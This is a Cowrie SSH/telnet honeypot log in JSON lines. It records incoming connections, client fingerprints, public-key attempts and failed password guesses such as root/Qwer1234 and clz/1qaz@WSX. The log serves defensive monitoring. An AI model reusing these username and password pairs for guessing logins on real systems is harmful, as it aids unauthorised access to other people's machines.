{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:a5:95:65:41:e5:34:d1:c9:0b:86:3c:32:d9:ed:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGGvf0EyhSFBXPn5SrokgoLlxl00ogkrueGk8zVYEb6lsfughOGahrDhgrv+NmPAAYOjNpvXk7dPRKyvI60CBsObUZFm71EAXCzE6C8rwedN5B37shDBTNHs7jv4XQ8397om05fDCVF4x4uMdHB3M0x/0YfkyBo5kv68S503bcHhFbkGNbj49QiFgK/CIjEMXjuaROUieH8NUW1ffi0ZULd+dmWK0xuqMchfWY95JGNzok4N57/XHZ2zNgNW935QPg0PtacbLsHb6om0c1h6oOVEYk4SNlk8p5Vbn9NDpI2AXUeNrmEarxBz2qPbMJMEKV90IPhRDIpLQwU0zSGAWz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4a:a5:95:65:41:e5:34:d1:c9:0b:86:3c:32:d9:ed:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:31:44.922349Z","src_ip":"188.44.20.33","session":"550cb70449d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:a5:95:65:41:e5:34:d1:c9:0b:86:3c:32:d9:ed:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGGvf0EyhSFBXPn5SrokgoLlxl00ogkrueGk8zVYEb6lsfughOGahrDhgrv+NmPAAYOjNpvXk7dPRKyvI60CBsObUZFm71EAXCzE6C8rwedN5B37shDBTNHs7jv4XQ8397om05fDCVF4x4uMdHB3M0x/0YfkyBo5kv68S503bcHhFbkGNbj49QiFgK/CIjEMXjuaROUieH8NUW1ffi0ZULd+dmWK0xuqMchfWY95JGNzok4N57/XHZ2zNgNW935QPg0PtacbLsHb6om0c1h6oOVEYk4SNlk8p5Vbn9NDpI2AXUeNrmEarxBz2qPbMJMEKV90IPhRDIpLQwU0zSGAWz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:31:44.926976Z","src_ip":"188.44.20.33","session":"550cb70449d5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:b2:52:38:54:9c:e0:7f:8e:87:a2:7e:f4:f7:e2:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIYpKjVb6my5JnQ35tVrbX0Mj9BsjZ2qTQgVHC8zfLKW6bbWS3Pxu2CwiCftxtgsSRAwQPBZLdC7THfFRKx226NS5kKnLZCzmMxfhmNC1ejrqPnfLcJReSN+jnkkL9IvYDI5t+DOE7iBb22zU/71o5OvstMKKB8oeXP1YyAiFTPfXDHcj3euGV+Ky7LcY094sZVShX8kn1k61olEt6g0/CDPM0fYjZqQDTH8YGZ/ADCHerwbY7a9QF9B8rgVk/T7xC1xz8DrFeWeNEzpo0M3SbB93+Nm8Cgx6qGxJb0PfvJI3Iqp2XmEovHZyERCM/tIX/eN7RgKN2Ih3tlBbCYBAV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:b2:52:38:54:9c:e0:7f:8e:87:a2:7e:f4:f7:e2:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:31:45.061486Z","src_ip":"188.44.20.33","session":"550cb70449d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:b2:52:38:54:9c:e0:7f:8e:87:a2:7e:f4:f7:e2:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIYpKjVb6my5JnQ35tVrbX0Mj9BsjZ2qTQgVHC8zfLKW6bbWS3Pxu2CwiCftxtgsSRAwQPBZLdC7THfFRKx226NS5kKnLZCzmMxfhmNC1ejrqPnfLcJReSN+jnkkL9IvYDI5t+DOE7iBb22zU/71o5OvstMKKB8oeXP1YyAiFTPfXDHcj3euGV+Ky7LcY094sZVShX8kn1k61olEt6g0/CDPM0fYjZqQDTH8YGZ/ADCHerwbY7a9QF9B8rgVk/T7xC1xz8DrFeWeNEzpo0M3SbB93+Nm8Cgx6qGxJb0PfvJI3Iqp2XmEovHZyERCM/tIX/eN7RgKN2Ih3tlBbCYBAV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:31:45.065136Z","src_ip":"188.44.20.33","session":"550cb70449d5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bc:cd:54:d3:c1:fc:27:0e:b4:85:35:d2:e7:f1:01:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLavCmG4PXShDaeGEn/eSroaN9tl+r0fW58oJGDy0bgyPo7BXQAWG36zbgQe+I90iqesZTaI5gCr90A693cPK00xPA91kNbSKglzoJ25ANn1DuvBp8thn5H/FVkMfRAfcmwtw24gkcBQa5hmn+a4zNPnuLNZdvFMLuF+rZ14Ep2s6LvZXmEDfi/gJYx4wx+M4+X4CJHB9HG4eQ6XGcwjbcTfVK8iJdw7OXU2LNc9H8qHiGRhCJ8iVvEeY9K+N2cmKXq3sTO2O0WhubrxqPQGUfftqD9l1wAmTP7DJGdBHcEhjFmsjiZeDC1YpZLjc2bEWG8Ctdoc6OxSJZhqA0wRIX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bc:cd:54:d3:c1:fc:27:0e:b4:85:35:d2:e7:f1:01:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:31:45.196894Z","src_ip":"188.44.20.33","session":"550cb70449d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bc:cd:54:d3:c1:fc:27:0e:b4:85:35:d2:e7:f1:01:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLavCmG4PXShDaeGEn/eSroaN9tl+r0fW58oJGDy0bgyPo7BXQAWG36zbgQe+I90iqesZTaI5gCr90A693cPK00xPA91kNbSKglzoJ25ANn1DuvBp8thn5H/FVkMfRAfcmwtw24gkcBQa5hmn+a4zNPnuLNZdvFMLuF+rZ14Ep2s6LvZXmEDfi/gJYx4wx+M4+X4CJHB9HG4eQ6XGcwjbcTfVK8iJdw7OXU2LNc9H8qHiGRhCJ8iVvEeY9K+N2cmKXq3sTO2O0WhubrxqPQGUfftqD9l1wAmTP7DJGdBHcEhjFmsjiZeDC1YpZLjc2bEWG8Ctdoc6OxSJZhqA0wRIX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:31:45.204307Z","src_ip":"188.44.20.33","session":"550cb70449d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.882218837738037,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:31:45.223015Z","src_ip":"173.189.213.72","session":"c5703042c1cc","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:c3:e2:d1:c5:42:2d:71:7b:9e:1a:42:86:6b:6c:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwzRiQsQXV31XfoDbSDE8giqIfhTO912z8f7+rGxHd1rsCu5TO6/jFCAqymIZliMaO4t2JJoxt/NAd/DqeTpobHAPHK04xJORIkX+/MqOiVXClYC7zihzrPXraS/7WJcUNX0uQ8T3Fen7naS7LRRU5chwlgROvbfrVn6FnH4t1Sb6B+LZQfvNF95IRLRkPxzrLA3ttfVvw8l5LdADwi8AqCwlu2KM/1Tgh4MiAXzdkCn4Jd1axK/vuM0RXSWVwvFvv1zb+/HrlA5tgNzNSvnYy0KEAIJr5348m/BtzOpGaxMzBidN2RfghGg2q0nKBDHxrL/gRidy23D++W315Tv06Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9d:c3:e2:d1:c5:42:2d:71:7b:9e:1a:42:86:6b:6c:d6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:31:45.334996Z","src_ip":"188.44.20.33","session":"550cb70449d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:c3:e2:d1:c5:42:2d:71:7b:9e:1a:42:86:6b:6c:d6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwzRiQsQXV31XfoDbSDE8giqIfhTO912z8f7+rGxHd1rsCu5TO6/jFCAqymIZliMaO4t2JJoxt/NAd/DqeTpobHAPHK04xJORIkX+/MqOiVXClYC7zihzrPXraS/7WJcUNX0uQ8T3Fen7naS7LRRU5chwlgROvbfrVn6FnH4t1Sb6B+LZQfvNF95IRLRkPxzrLA3ttfVvw8l5LdADwi8AqCwlu2KM/1Tgh4MiAXzdkCn4Jd1axK/vuM0RXSWVwvFvv1zb+/HrlA5tgNzNSvnYy0KEAIJr5348m/BtzOpGaxMzBidN2RfghGg2q0nKBDHxrL/gRidy23D++W315Tv06Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:31:45.339309Z","src_ip":"188.44.20.33","session":"550cb70449d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:31:45.471988Z","src_ip":"188.44.20.33","session":"550cb70449d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.766855239868164,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:31:53.896701Z","src_ip":"128.199.8.54","session":"96054cd80ab8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.40428876876831,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:31:54.561081Z","src_ip":"128.199.8.54","session":"f4662fbe27bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.242.74","src_port":36922,"dst_ip":"159.203.135.109","dst_port":22,"session":"07778eaab028","protocol":"ssh","message":"New connection: 43.160.242.74:36922 (159.203.135.109:22) [session: 07778eaab028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:32:05.043606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:32:05.048850Z","src_ip":"43.160.242.74","session":"07778eaab028","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:32:05.288647Z","src_ip":"43.160.242.74","session":"07778eaab028","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"webtest","message":"login attempt [root/webtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:32:06.271837Z","src_ip":"43.160.242.74","session":"07778eaab028","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.99500584602356,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:32:07.481009Z","src_ip":"128.199.8.54","session":"d5b2deb164a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:32:07.512242Z","src_ip":"43.160.242.74","session":"07778eaab028","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.194.229.94","src_port":41310,"dst_ip":"159.203.135.109","dst_port":22,"session":"519cb5304380","protocol":"ssh","message":"New connection: 118.194.229.94:41310 (159.203.135.109:22) [session: 519cb5304380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:32:11.354399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:32:11.359616Z","src_ip":"118.194.229.94","session":"519cb5304380","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:32:11.528618Z","src_ip":"118.194.229.94","session":"519cb5304380","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"654321","message":"login attempt [ftpuser/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:32:12.238205Z","src_ip":"118.194.229.94","session":"519cb5304380","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:32:13.410090Z","src_ip":"118.194.229.94","session":"519cb5304380","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":44074,"dst_ip":"10.17.0.5","dst_port":22,"session":"57727a362fa1","protocol":"ssh","message":"New connection: 103.15.226.202:44074 (10.17.0.5:22) [session: 57727a362fa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:32:47.641012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:32:47.644820Z","src_ip":"103.15.226.202","session":"57727a362fa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:32:47.894590Z","src_ip":"103.15.226.202","session":"57727a362fa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer1234","message":"login attempt [root/Qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:32:48.651964Z","src_ip":"103.15.226.202","session":"57727a362fa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:32:49.910354Z","src_ip":"103.15.226.202","session":"57727a362fa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.242.74","src_port":42172,"dst_ip":"159.203.135.109","dst_port":22,"session":"290091cadc17","protocol":"ssh","message":"New connection: 43.160.242.74:42172 (159.203.135.109:22) [session: 290091cadc17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:33:03.527613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:33:03.532825Z","src_ip":"43.160.242.74","session":"290091cadc17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:33:03.771789Z","src_ip":"43.160.242.74","session":"290091cadc17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vhserver","password":"12345","message":"login attempt [vhserver/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:33:04.756914Z","src_ip":"43.160.242.74","session":"290091cadc17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:33:05.998632Z","src_ip":"43.160.242.74","session":"290091cadc17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.197.157.21","src_port":48782,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e3787b03291","protocol":"telnet","message":"New connection: 181.197.157.21:48782 (10.17.0.5:23) [session: 1e3787b03291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:33:33.232364Z"}
{"eventid":"cowrie.session.closed","duration":12.544363260269165,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:33:45.776603Z","src_ip":"181.197.157.21","session":"1e3787b03291","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.163.156","src_port":58316,"dst_ip":"159.203.135.109","dst_port":22,"session":"04544b2b7db4","protocol":"ssh","message":"New connection: 64.89.163.156:58316 (159.203.135.109:22) [session: 04544b2b7db4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:33:47.352372Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:33:47.447854Z","src_ip":"64.89.163.156","session":"04544b2b7db4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.163.156","src_port":58330,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f25884c56c7","protocol":"ssh","message":"New connection: 64.89.163.156:58330 (159.203.135.109:22) [session: 0f25884c56c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:33:47.530787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:33:47.535416Z","src_ip":"64.89.163.156","session":"0f25884c56c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:33:47.622288Z","src_ip":"64.89.163.156","session":"0f25884c56c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clz","password":"1qaz@WSX","message":"login attempt [clz/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:33:47.891889Z","src_ip":"64.89.163.156","session":"0f25884c56c7","protocol":"ssh"}
